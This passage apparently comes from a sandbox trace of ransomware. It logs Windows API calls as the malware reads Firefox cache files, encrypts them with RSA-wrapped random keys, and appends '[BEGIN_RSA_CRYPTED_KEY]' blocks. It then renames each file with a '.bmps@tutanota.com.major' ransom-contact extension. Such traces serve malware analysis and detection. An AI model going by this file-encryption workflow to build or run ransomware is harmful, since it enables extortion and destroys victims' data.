lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x4828, lpOverlapped=0x0) returned 1 [0259.528] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-18472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.528] WriteFile (in: hFile=0x1b84, lpBuffer=0x344a878*, nNumberOfBytesToWrite=0x4828, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a878*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4828, lpOverlapped=0x0) returned 1 [0259.529] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4828 [0259.529] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.529] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.530] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.530] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.530] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.530] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5+ldur/0QcPjmBx8cg8FPGHPJ/p58DwYQ4Z32GMHtnuhRWSirvVNTF+AWk0YfuBA\nRABIaKM4D72sHacGMeG+1p5wRE50uJoK0QsCnhxvNcPCrrdvcH/pi8qPaD/w+B3H\nQ4uqE8DeiOVSp3diEhKRhO5tRu4Fa+gFD8ejhAJh6Z+b6l/X0+M9qzSfmTeW7grm\n8M8b32c2puqgMN8zLjVmzfL0OcWYgb+a1igkmmQ4HxOqp65AGTQUarzpoXNPNYzQ\nhASJWvDmja/M/0FhkwVoM3QTvv0KbEiIlYdbzpTybVq9qXuYzIdqnEkJg+XrccUL\nni+cEG//a9vaxmXXbUmAag==\n", pcchString=0x2e3f9a8) returned 1 [0259.530] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.530] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.530] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.531] CloseHandle (hObject=0x1b84) returned 1 [0259.531] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9A4363F96438C03AB4679CB6CFA209E8F12F1A01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9a4363f96438c03ab4679cb6cfa209e8f12f1a01"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9A4363F96438C03AB4679CB6CFA209E8F12F1A01.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9a4363f96438c03ab4679cb6cfa209e8f12f1a01.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.533] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.533] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\996FF69B28B46AA08240D5B033726E178EA73F53", dwFileAttributes=0x80) returned 1 [0259.533] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xc08, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xc08, lpOverlapped=0x0) returned 1 [0259.603] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.603] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442448*, nNumberOfBytesToWrite=0xc08, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442448*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc08, lpOverlapped=0x0) returned 1 [0259.604] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc08 [0259.604] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.604] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.605] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.605] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.605] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.605] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4QtS9eDmO8Mt4yHid71yiMeYatQnfYSgboc0MFemrM9Gn+skntOXYT/vDP+/8yjn\nX2odZFcI4wS0RA9Eb96Ye24xFFt34YrewBLBe9Azp51DwCrehfKl/o10zFLprXmi\n9PVvtDxq+o9DYGXMKAg0Ik/+mkNT+04IlCldBuF4d/0ORUK7AFMaCAopx6XhKKtN\nZPKjFKjfyme+SQKdynCjlozxWzbLBjfON/GZE5vf8EnD0IDoxuA9ea7s+xUXSADz\nMwBeuwlnfbibW6XdAHsfgVigkH79RCkrsWgQm2Xbx6QJGV1nOUNjF0q/bDXrHSyi\nOtzDDFivrNIKuo65Pi4nRg==\n", pcchString=0x2e3f9a8) returned 1 [0259.605] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.605] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.605] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.606] CloseHandle (hObject=0x1b84) returned 1 [0259.606] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\996FF69B28B46AA08240D5B033726E178EA73F53" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\996ff69b28b46aa08240d5b033726e178ea73f53"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\996FF69B28B46AA08240D5B033726E178EA73F53.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\996ff69b28b46aa08240d5b033726e178ea73f53.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.608] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.608] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9917C38977805DE1F459727D3ACF78348778CA3E", dwFileAttributes=0x80) returned 1 [0259.608] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xef1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xef1, lpOverlapped=0x0) returned 1 [0259.656] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3825, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.656] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442738*, nNumberOfBytesToWrite=0xef1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442738*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef1, lpOverlapped=0x0) returned 1 [0259.657] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef1 [0259.657] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.657] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.657] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.657] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.658] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.658] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6kKyfipLjfW1uKiGEmqqgkOFRTh9ETlGw034FKcKfcqTAJ2ZblGrBQnqvU/Nj4o5\nsV0hAUqw17YRdvLGi2vKOobmIbg4i5N56t2yu2KBCdXVrNzMtvcnc4iYYGk48sR8\nId4Vtgm2RSA7mKgkeMR2I6WkVpWC1pNuP1BQhBIOW+GFmkPrlem/c3S3dP4umCdw\nMnDjeCM45lQgWU85OwQ/zVp+yZcK/ud9E25+0Qg0PDEIG6dQkWK6P52ik4Hy1g3W\nLUL7AtPlxZFmvM85Sz6pMN8XZzddGzjjRdwL6PA6q50mKyi9w9r9Mn8uDNJGLJVT\niZeCivbeMZ/EG8u3OAOSoQ==\n", pcchString=0x2e3f9a8) returned 1 [0259.658] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.658] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.658] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.658] CloseHandle (hObject=0x1b84) returned 1 [0259.658] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9917C38977805DE1F459727D3ACF78348778CA3E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9917c38977805de1f459727d3acf78348778ca3e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9917C38977805DE1F459727D3ACF78348778CA3E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9917c38977805de1f459727d3acf78348778ca3e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.660] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.660] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9896A5D2450454BDC89F970D5491BF2A03985EF9", dwFileAttributes=0x80) returned 1 [0259.661] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xc4d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xc4d, lpOverlapped=0x0) returned 1 [0259.662] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.662] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442490*, nNumberOfBytesToWrite=0xc4d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442490*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc4d, lpOverlapped=0x0) returned 1 [0259.663] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc4d [0259.663] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.663] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.663] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.663] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.664] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.664] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="S66HkNr+btqqmempBusBmlS+/ugsY1tgFoHG8fWNC30MFCAt/hktxE9YbBDU7qwi\nhryG7d3bd46arhYYQTtOUGyUch93lgEOOFTcV7obb7wqK602RJOpdRkbqfcEUH9t\n/MItLit5yQqsNT3m0LmGsypiRZJMOnnbAOhKUC52yiHpr9KgGyKHSBySiOpBgDuE\nnFYYIFRRX6YdyQ38G87UMF2cfVBMbv6tAo7A7ZiEKPxk7dmIB1DyU6PWBQEdzN7f\nVAh09TH6aCZrWIKzNJ0Nb74Esn5sACR9BqK4KlVVyTACx8F/RBiQspWUwgnzwSnP\nL0SRrGZ6RGRJadVYk8JEaQ==\n", pcchString=0x2e3f9a8) returned 1 [0259.664] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.664] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.664] CloseHandle (hObject=0x1b84) returned 1 [0259.665] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9896A5D2450454BDC89F970D5491BF2A03985EF9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9896a5d2450454bdc89f970d5491bf2a03985ef9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9896A5D2450454BDC89F970D5491BF2A03985EF9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\9896a5d2450454bdc89f970d5491bf2a03985ef9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.667] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.667] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\983323BAC4331D7678CD31F0D107D74556191F4C", dwFileAttributes=0x80) returned 1 [0259.667] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0x1b74, lpOverlapped=0x0) returned 1 [0259.702] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-7028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.702] WriteFile (in: hFile=0x1b84, lpBuffer=0x34433b8*, nNumberOfBytesToWrite=0x1b74, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34433b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1b74, lpOverlapped=0x0) returned 1 [0259.703] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1b74 [0259.703] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.703] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.703] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.703] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.704] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.704] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KCtfQ6wl4c5G564I/R7M+LcOMKZ28R54cVPNRW0Yiq6sggm+xN03ZZI2grIQObHC\nJanFH32+LcNRyucL1AqLT9KdRRj2D81c3xPU38pzJ9HmwL4z3gj9YksT25IDH5sM\nnlQZZpDUHI7p+0zE8lnYUAJx1q7ZTAasPTjEFowIS46HuqT0qLK2o09FoWeefJS9\n6A/yF1V0VEL0b+4qcx9j5NDbYtM+ggfiSlN9PEmDPo8kVsW/x1fotgax18Qmi+pT\naNYYzwnp6WiaIMMOkA//jFRE5XRqVV2JVZJj27Z7TLMGpsUGZnnpup+Ytwog3F7a\nAl0SDSmkLHONktfC3CSWtQ==\n", pcchString=0x2e3f9a8) returned 1 [0259.704] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.704] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.704] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.704] CloseHandle (hObject=0x1b84) returned 1 [0259.704] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\983323BAC4331D7678CD31F0D107D74556191F4C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\983323bac4331d7678cd31f0d107d74556191f4c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\983323BAC4331D7678CD31F0D107D74556191F4C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\983323bac4331d7678cd31f0d107d74556191f4c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0259.707] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0259.707] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9827DBE1B051DF16647CCB9DBA9C2BA261150A6C", dwFileAttributes=0x80) returned 1 [0259.707] ReadFile (in: hFile=0x1b84, lpBuffer=0x3441838, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3441838*, lpNumberOfBytesRead=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0259.709] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0259.709] WriteFile (in: hFile=0x1b84, lpBuffer=0x3442738*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3442738*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0259.709] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef7 [0259.709] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.710] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.710] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0259.710] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0259.710] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0259.710] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6tt6XxZ4F6WbuBwEbJ8O+QzchoGkt+0UMDaS2at+gGPtPqHFabpkftUKESAkH2rk\ni4x2iFu+3gp4muhhCtXKT+s6Uok8MxDL4ZLfxTTlODtx784X7nZGCJPYHVUI+mIg\nd6LPhuqtNh9tTx4lLng9EEVxp9gWIgbfEdGU/ageTg/G+XkyXYYUf3o+pUUAPxsF\nZCBqyVCPlznjaKkwiIi6WoRpN04t98SiqrSmOETx4OekJVRU0kmq8sDfnY6u/lYh\nQdKgnFaY/mwY2lWW0RKJtH6UiHCg5YIPSzFu1Iyk5l3NQ6v49Pq/ndOsiT/+xfQd\nAAMn3aSfQ3M1sRUg7lPDkg==\n", pcchString=0x2e3f9a8) returned 1 [0259.710] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0259.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0259.711] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0259.711] CloseHandle (hObject=0x1b84) returned 1 [0259.711] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9827DBE1B051DF16647CCB9DBA9C2BA261150A6C" (normalized: 